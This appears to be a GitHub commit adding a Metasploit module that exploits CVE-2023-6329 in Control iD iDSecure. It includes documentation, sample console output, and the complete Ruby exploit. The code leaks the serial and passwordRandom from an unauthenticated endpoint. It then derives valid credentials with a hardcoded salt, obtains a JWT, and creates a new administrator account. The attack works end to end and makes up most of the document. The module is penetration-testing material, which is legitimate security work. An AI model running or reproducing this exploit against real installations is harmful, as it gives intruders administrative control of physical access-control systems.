Skip to content

Commit 5fa18a6

Browse files
committed
Control iD iDSecure Authentication Bypass (CVE-2023-6329) Module
Control iD iDSecure Authentication Bypass (CVE-2023-6329) Module
1 parent 233f6dc commit 5fa18a6

File tree

2 files changed

+224
-0
lines changed

2 files changed

+224
-0
lines changed
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
## Vulnerable Application
2+
3+
This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an
4+
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.
5+
6+
The advisory from Tenable is available [here](https://www.tenable.com/security/research/tra-2023-36), which lists the affected version
7+
4.7.32.0. According to the Solution section, the vendor has not responded to the contact attempts from Tenable. While creating this MSF
8+
module, the latest version available was 4.7.43.0, which was confirmed to be still vulnerable.
9+
10+
## Testing
11+
12+
The software can be obtained from the [vendor](https://www.controlid.com.br/suporte/idsecure).
13+
14+
Deploy it by following the vendor's [documentation](https://www.controlid.com.br/docs/idsecure-en/).
15+
16+
**Successfully tested on**
17+
18+
- Control iD iDSecure v4.7.43.0 on Windows 10 22H2
19+
- Control iD iDSecure v4.7.32.0 on Windows 10 22H2
20+
21+
## Verification Steps
22+
23+
1. Deploy Control iD iDSecure v4.7.43.0
24+
2. Start `msfconsole`
25+
3. `use auxiliary/admin/http/idsecure_auth_bypass`
26+
4. `set RHOSTS <IP>`
27+
5. `run`
28+
6. A new administrative user should have been added to the web interface of the product.
29+
30+
## Options
31+
32+
### NEW_USER
33+
The name of the new administrative user.
34+
35+
### NEW_PASSWORD
36+
The password of the new administrative user.
37+
38+
## Scenarios
39+
40+
Running the module against Control iD iDSecure v4.7.43.0 should result in an output
41+
similar to the following:
42+
43+
```
44+
msf6 > use auxiliary/admin/http/idsecure_auth_bypass
45+
msf6 auxiliary(admin/http/idsecure_auth_bypass) > set RHOSTS 192.168.137.196
46+
[*] Running module against 192.168.137.196
47+
48+
[*] Running automatic check ("set AutoCheck false" to disable)
49+
[*] Version retrieved: 4.7.43.0
50+
[+] The target appears to be vulnerable.
51+
[+] Retrieved passwordRandom: <redacted>
52+
[+] Retrieved serial: <redacted>
53+
[*] Created passwordCustom: <redacted>
54+
[+] Retrieved JWT accessToken: <redacted>
55+
[+] New user 'h4x0r:Sup3rS3cr3t!' was successfully added.
56+
[+] Login at: https://192.168.137.196:30443/#/login
57+
[*] Auxiliary module execution completed
58+
59+
```
Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
class MetasploitModule < Msf::Auxiliary
2+
include Msf::Exploit::Remote::HttpClient
3+
prepend Msf::Exploit::Remote::AutoCheck
4+
CheckCode = Exploit::CheckCode
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)',
11+
'Description' => %q{
12+
This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an
13+
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.
14+
},
15+
'Author' => [
16+
'Michael Heinzl', # MSF Module
17+
'Tenable' # Discovery and PoC
18+
],
19+
'References' => [
20+
['CVE', '2023-6329'],
21+
['URL', 'https://www.tenable.com/security/research/tra-2023-36']
22+
],
23+
'DisclosureDate' => '2023-11-27',
24+
'DefaultOptions' => {
25+
'RPORT' => 30443,
26+
'SSL' => 'True'
27+
},
28+
'License' => MSF_LICENSE,
29+
'Notes' => {
30+
'Stability' => [CRASH_SAFE],
31+
'Reliability' => [REPEATABLE_SESSION],
32+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
33+
}
34+
)
35+
)
36+
37+
register_options([
38+
OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]),
39+
OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)])
40+
])
41+
end
42+
43+
def check
44+
begin
45+
res = send_request_cgi({
46+
'method' => 'GET',
47+
'uri' => normalize_uri(target_uri.path, 'api/util/configUI')
48+
})
49+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
50+
return CheckCode::Unknown
51+
end
52+
53+
if res && res.code == 401
54+
data = res.get_json_document
55+
version = data['Version']
56+
if version.nil?
57+
return CheckCode::Unknown
58+
else
59+
print_status('Version retrieved: ' + version)
60+
end
61+
62+
if Rex::Version.new(version) <= Rex::Version.new('4.7.43.0')
63+
return CheckCode::Appears
64+
else
65+
return CheckCode::Safe
66+
end
67+
else
68+
return CheckCode::Unknown
69+
end
70+
end
71+
72+
def run
73+
# 1) Obtain the serial and passwordRandom
74+
res = send_request_cgi(
75+
'method' => 'GET',
76+
'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData')
77+
)
78+
79+
unless res
80+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
81+
end
82+
case res.code
83+
when 200
84+
json = res.get_json_document
85+
if json.key?('passwordRandom') && json.key?('serial')
86+
password_random = json['passwordRandom']
87+
serial = json['serial']
88+
print_good('Retrieved passwordRandom: ' + password_random)
89+
print_good('Retrieved serial: ' + serial)
90+
else
91+
fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')
92+
end
93+
else
94+
fail_with(Failure::UnexpectedReply, res.to_s)
95+
end
96+
97+
# 2) Create passwordCustom
98+
sha1_hash = Digest::SHA1.hexdigest(serial)
99+
combined_string = sha1_hash + password_random + 'cid2016'
100+
sha256_hash = Digest::SHA256.hexdigest(combined_string)
101+
short_hash = sha256_hash[0, 6]
102+
password_custom = short_hash.to_i(16).to_s
103+
print_status("Created passwordCustom: #{password_custom}")
104+
105+
# 3) Login with passwordCustom and passwordRandom to obtain a JWT
106+
body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}"
107+
108+
res = send_request_cgi({
109+
'method' => 'POST',
110+
'ctype' => 'application/json',
111+
'uri' => normalize_uri(target_uri.path, 'api/login/'),
112+
'data' => body
113+
})
114+
115+
unless res
116+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
117+
end
118+
case res.code
119+
when 200
120+
json = res.get_json_document
121+
if json.key?('accessToken')
122+
access_token = json['accessToken']
123+
print_good('Retrieved JWT: ' + access_token)
124+
else
125+
fail_with(Failure::UnexpectedReply, 'Did not receive JWT')
126+
end
127+
else
128+
fail_with(Failure::UnexpectedReply, res.to_s)
129+
end
130+
131+
# 4) Add a new administrative user
132+
body = '{"idType": "1", ' \
133+
"\"name\": \"#{datastore['NEW_USER']}\", " \
134+
"\"user\": \"#{datastore['NEW_USER']}\", " \
135+
"\"newPassword\": \"#{datastore['NEW_PASSWORD']}\", " \
136+
"\"password_confirmation\": \"#{datastore['NEW_PASSWORD']}\"}"
137+
138+
res = send_request_cgi({
139+
'method' => 'POST',
140+
'ctype' => 'application/json',
141+
'headers' => {
142+
'Authorization' => "Bearer #{access_token}"
143+
},
144+
'uri' => normalize_uri(target_uri.path, 'api/operator/'),
145+
'data' => body
146+
})
147+
148+
unless res
149+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
150+
end
151+
152+
case res.code
153+
when 200
154+
json = res.get_json_document
155+
if json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'
156+
print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")
157+
print_good("Login at: https://#{datastore['RHOSTS']}:#{datastore['RPORT']}/#/login")
158+
else
159+
fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)
160+
end
161+
else
162+
fail_with(Failure::UnexpectedReply, res.to_s)
163+
end
164+
end
165+
end

0 commit comments

Comments
 (0)